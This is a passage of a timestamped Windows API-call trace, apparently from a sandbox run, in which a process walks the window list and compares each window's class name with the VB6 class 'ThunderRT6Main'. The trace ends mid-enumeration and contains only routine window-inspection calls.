	[0084.929] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0084.929] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0084.929] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0084.930] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007a
	[0084.930] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0084.930] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0084.930] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0084.930] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10078
	[0084.930] GetClassNameA (in: hWnd=0x10078, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0084.930] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0084.930] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0084.930] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10074
	[0084.930] GetClassNameA (in: hWnd=0x10074, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0084.930] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0084.930] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0084.930] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10052
	[0084.930] GetClassNameA (in: hWnd=0x10052, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11
	[0084.930] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1
	[0084.930] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0084.930] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x1004e
	[0084.930] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0084.930] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0084.930] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0084.930] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10054
	[0084.930] GetClassNameA (in: hWnd=0x10054, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Button") returned 6
	[0084.930] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1
	[0084.930] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0084.930] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x10050
	[0084.930] GetClassNameA (in: hWnd=0x10050, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13
	[0084.930] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1
	[0084.930] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0084.930] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f4
	[0084.930] GetClassNameA (in: hWnd=0x100f4, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0084.930] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0084.931] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0084.931] GetWindow (hWnd=0x100f4, uCmd=0x2) returned 0x5009a
	[0084.931] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0084.931] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0084.931] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0084.931] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c
	[0084.931] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20
	[0084.931] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1
	[0084.931] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0084.931] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x200e6
	[0084.931] GetClassNameA (in: hWnd=0x200e6, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20
	[0084.931] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1
	[0084.931] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0084.931] GetWindow (hWnd=0x200e6, uCmd=0x2) returned 0x10226
	[0084.931] GetClassNameA (in: hWnd=0x10226, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11
	[0084.931] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1
	[0084.931] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0084.931] GetWindowLongA (hWnd=0x10226, nIndex=-16) returned -1946157056
	[0084.931] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0
	[0084.931] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0
	[0084.931] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x201a4
	[0084.931] GetClassNameA (in: hWnd=0x201a4, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0084.931] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0084.931] GetWindowThreadProcessId (in: hWnd=0x201a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0084.931] GetWindowLongA (hWnd=0x201a4, nIndex=-16) returned -1946157056
	[0084.931] GetWindowLongPtrA (hWnd=0x201a4, nIndex=-6) returned 0x13f510000
	[0084.931] GetWindowLongPtrA (hWnd=0x201a4, nIndex=-6) returned 0x13f510000
	[0084.931] GetWindow (hWnd=0x201a4, uCmd=0x2) returned 0x40216
	[0084.931] GetClassNameA (in: hWnd=0x40216, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6
	[0084.931] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1
	[0084.931] GetWindowThreadProcessId (in: hWnd=0x40216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0084.931] GetWindowLongA (hWnd=0x40216, nIndex=-16) returned 382664704
	[0084.932] GetWindowLongPtrA (hWnd=0x40216, nIndex=-6) returned 0x13f510000
	[0084.932] GetWindowLongPtrA (hWnd=0x40216, nIndex=-6) returned 0x13f510000
	[0084.932] GetWindow (hWnd=0x40216, uCmd=0x2) returned 0x20268
	[0084.932] GetClassNameA (in: hWnd=0x20268, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0084.932] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0084.932] GetWindowThreadProcessId (in: hWnd=0x20268, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0084.932] GetWindowLongA (hWnd=0x20268, nIndex=-16) returned -1778384896
	[0084.932] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0
	[0084.932] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0
	[0084.932] GetWindow (hWnd=0x20268, uCmd=0x2) returned 0x3026a
	[0084.932] GetClassNameA (in: hWnd=0x3026a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0084.932] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0084.932] GetWindowThreadProcessId (in: hWnd=0x3026a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0084.932] GetWindowLongA (hWnd=0x3026a, nIndex=-16) returned -1778384896
	[0084.932] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0
	[0084.932] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0
	[0084.932] GetWindow (hWnd=0x3026a, uCmd=0x2) returned 0x202c6
	[0084.932] GetClassNameA (in: hWnd=0x202c6, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0084.932] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0084.932] GetWindowThreadProcessId (in: hWnd=0x202c6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0084.932] GetWindowLongA (hWnd=0x202c6, nIndex=-16) returned -1778384896
	[0084.932] GetWindowLongPtrA (hWnd=0x202c6, nIndex=-6) returned 0x0
	[0084.932] GetWindowLongPtrA (hWnd=0x202c6, nIndex=-6) returned 0x0
	[0084.932] GetWindow (hWnd=0x202c6, uCmd=0x2) returned 0x20260
	[0084.932] GetClassNameA (in: hWnd=0x20260, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0084.932] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0084.932] GetWindowThreadProcessId (in: hWnd=0x20260, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0084.932] GetWindowLongA (hWnd=0x20260, nIndex=-16) returned -1778384896
	[0084.932] GetWindowLongPtrA (hWnd=0x20260, nIndex=-6) returned 0x0
	[0084.932] GetWindowLongPtrA (hWnd=0x20260, nIndex=-6) returned 0x0
	[0084.932] GetWindow (hWnd=0x20260, uCmd=0x2) returned 0x3022a
	[0084.932] GetClassNameA (in: hWnd=0x3022a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13
	[0084.932] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1
	[0084.932] GetWindowThreadProcessId (in: hWnd=0x3022a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0084.933] GetWindowLongA (hWnd=0x3022a, nIndex=-16) returned -2080374784
	[0084.933] GetWindowLongPtrA (hWnd=0x3022a, nIndex=-6) returned 0x7fef2840000
	[0084.933] GetWindowLongPtrA (hWnd=0x3022a, nIndex=-6) returned 0x7fef2840000
	[0084.933] GetWindow (hWnd=0x3022a, uCmd=0x2) returned 0x202b0
	[0084.933] GetClassNameA (in: hWnd=0x202b0, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11
	[0084.933] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1
	[0084.933] GetWindowThreadProcessId (in: hWnd=0x202b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0084.933] GetWindowLongA (hWnd=0x202b0, nIndex=-16) returned -2080374784
	[0084.933] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5d60000
	[0084.933] IsWindowEnabled (hWnd=0x202b0) returned 1
	[0084.933] GetPropA (hWnd=0x202b0, lpString=0xc13a) returned 0x0
	[0084.933] SetPropA (hWnd=0x202b0, lpString=0xc13a, hData=0x1) returned 1
	[0084.933] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0
	[0084.933] GetWindow (hWnd=0x202b0, uCmd=0x2) returned 0x2026c
	[0084.933] GetClassNameA (in: hWnd=0x2026c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9
	[0084.933] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1
	[0084.933] GetWindowThreadProcessId (in: hWnd=0x2026c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0084.933] GetWindowLongA (hWnd=0x2026c, nIndex=-16) returned 1149272145
	[0084.933] GetWindow (hWnd=0x2026c, uCmd=0x2) returned 0x202d4
	[0084.933] GetClassNameA (in: hWnd=0x202d4, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14
	[0084.933] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1
	[0084.933] GetWindowThreadProcessId (in: hWnd=0x202d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0084.933] GetWindowLongA (hWnd=0x202d4, nIndex=-16) returned -2080374784
	[0084.933] GetWindowLongPtrA (hWnd=0x202d4, nIndex=-6) returned 0x7feffa40000
	[0084.933] GetWindowLongPtrA (hWnd=0x202d4, nIndex=-6) returned 0x7feffa40000
	[0084.933] GetWindow (hWnd=0x202d4, uCmd=0x2) returned 0x101e0
	[0084.933] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6
	[0084.933] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1
	[0084.933] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0084.933] GetWindowLongA (hWnd=0x101e0, nIndex=-16) returned 382664704
	[0084.933] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f510000
	[0084.933] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f510000
	[0084.933] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x1020a
	[0084.934] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0084.934] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0084.934] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0084.934] GetWindowLongA (hWnd=0x1020a, nIndex=-16) returned -1778384896
	[0084.934] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0
	[0084.934] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0
	[0084.934] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x1020c
	[0084.934] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0084.934] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0084.934] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0084.934] GetWindowLongA (hWnd=0x1020c, nIndex=-16) returned -1778384896
	[0084.934] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0
	[0084.934] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0
	[0084.934] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e
	[0084.934] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0084.934] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0084.934] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0084.934] GetWindowLongA (hWnd=0x1020e, nIndex=-16) returned -1778384896
	[0084.934] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0
	[0084.934] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0
	[0084.934] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10210
	[0084.934] GetClassNameA (in: hWnd=0x10210, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0084.934] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0084.934] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0084.934] GetWindowLongA (hWnd=0x10210, nIndex=-16) returned -1778384896
	[0084.934] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0
	[0084.934] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0
	[0084.934] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10296
	[0084.934] GetClassNameA (in: hWnd=0x10296, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0084.934] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0084.934] GetWindowThreadProcessId (in: hWnd=0x10296, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c
	[0084.934] GetWindow (hWnd=0x10296, uCmd=0x2) returned 0x30214
	[0084.934] GetClassNameA (in: hWnd=0x30214, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28
	[0084.934] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1
	[0084.934] GetWindowThreadProcessId (in: hWnd=0x30214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0084.938] GetWindowLongA (hWnd=0x30214, nIndex=-16) returned 213909504
	[0084.938] GetWindowLongPtrA (hWnd=0x30214, nIndex=-6) returned 0x7feef690000
	[0084.938] GetWindowLongPtrA (hWnd=0x30214, nIndex=-6) returned 0x7feef690000
	[0084.938] GetWindow (hWnd=0x30214, uCmd=0x2) returned 0x101de
	[0084.938] GetClassNameA (in: hWnd=0x101de, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0084.938] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0084.938] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0084.938] GetWindowLongA (hWnd=0x101de, nIndex=-16) returned -2046820352
	[0084.938] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0
	[0084.938] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0
	[0084.938] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101dc
	[0084.938] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0084.938] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0084.938] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0084.938] GetWindowLongA (hWnd=0x101dc, nIndex=-16) returned -2046820352
	[0084.938] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0
	[0084.938] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0
	[0084.938] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101da
	[0084.938] GetClassNameA (in: hWnd=0x101da, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0084.938] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0084.938] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0084.938] GetWindowLongA (hWnd=0x101da, nIndex=-16) returned -2046820352
	[0084.938] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0
	[0084.938] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0
	[0084.938] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d8
	[0084.938] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0084.938] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0084.938] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0084.939] GetWindowLongA (hWnd=0x101d8, nIndex=-16) returned -2046820352
	[0084.939] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0
	[0084.939] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0
	[0084.939] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x201b2
	[0084.939] GetClassNameA (in: hWnd=0x201b2, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6
	[0084.939] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1
	[0084.939] GetWindowThreadProcessId (in: hWnd=0x201b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0084.939] GetWindowLongA (hWnd=0x201b2, nIndex=-16) returned 114229248
	[0084.939] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f510000
	[0084.939] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f510000
	[0084.939] GetWindow (hWnd=0x201b2, uCmd=0x2) returned 0x2015c
	[0084.939] GetClassNameA (in: hWnd=0x2015c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24
	[0084.939] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1
	[0084.939] GetWindowThreadProcessId (in: hWnd=0x2015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x900
	[0084.939] GetWindow (hWnd=0x2015c, uCmd=0x2) returned 0x201aa
	[0084.939] GetClassNameA (in: hWnd=0x201aa, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20
	[0084.939] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1
	[0084.939] GetWindowThreadProcessId (in: hWnd=0x201aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0084.939] GetWindowLongA (hWnd=0x201aa, nIndex=-16) returned -2080374784
	[0084.939] GetWindowLongPtrA (hWnd=0x201aa, nIndex=-6) returned 0x13f510000
	[0084.939] GetWindowLongPtrA (hWnd=0x201aa, nIndex=-6) returned 0x13f510000
	[0084.939] GetWindow (hWnd=0x201aa, uCmd=0x2) returned 0x1019e
	[0084.939] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0084.939] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0084.939] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x830
	[0084.939] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c
	[0084.939] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="uzbekistan_") returned 11
	[0084.939] lstrcmpA (lpString1="uzbekistan_", lpString2="ThunderRT6Main") returned 1
	[0084.939] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x830
	[0084.939] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x20206
	[0084.939] GetClassNameA (in: hWnd=0x20206, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9
	[0084.939] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1
	[0084.940] GetWindowThreadProcessId (in: hWnd=0x20206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0084.940] GetWindowLongA (hWnd=0x20206, nIndex=-16) returned 1149272145
	[0084.940] GetWindow (hWnd=0x20206, uCmd=0x2) returned 0x101d4
	[0084.940] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9
	[0084.940] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1
	[0084.940] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0084.940] GetWindowLongA (hWnd=0x101d4, nIndex=-16) returned 1149272145
	[0084.940] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x10198
	[0084.940] GetClassNameA (in: hWnd=0x10198, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="trendswindow") returned 12
	[0084.940] lstrcmpA (lpString1="trendswindow", lpString2="ThunderRT6Main") returned 1
	[0084.940] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x820
	[0084.940] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a
	[0084.940] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0084.940] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0084.940] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x820
	[0084.940] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194
	[0084.940] GetClassNameA (in: hWnd=0x10194, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Asin_intelligence_cls") returned 21
	[0084.940] lstrcmpA (lpString1="Asin_intelligence_cls", lpString2="ThunderRT6Main") returned -1
	[0084.940] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x810
	[0084.940] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196
	[0084.940] GetClassNameA (in: hWnd=0x10196, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0084.940] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0084.940] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x810
	[0084.940] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190
	[0084.940] GetClassNameA (in: hWnd=0x10190, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="pulseagainstwin") returned 15
	[0084.940] lstrcmpA (lpString1="pulseagainstwin", lpString2="ThunderRT6Main") returned -1
	[0084.940] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x90
	[0084.940] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192
	[0084.940] GetClassNameA (in: hWnd=0x10192, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0084.940] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0084.940] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x90
	[0084.941] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018c
	[0084.941] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Mint_wnd") returned 8
	[0084.941] lstrcmpA (lpString1="Mint_wnd", lpString2="ThunderRT6Main") returned -1
	[0084.941] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x20c
	[0084.941] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x1018e
	[0084.941] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0084.941] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0084.941] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x20c
	[0084.941] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10188
	[0084.941] GetClassNameA (in: hWnd=0x10188, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Spokewin") returned 8
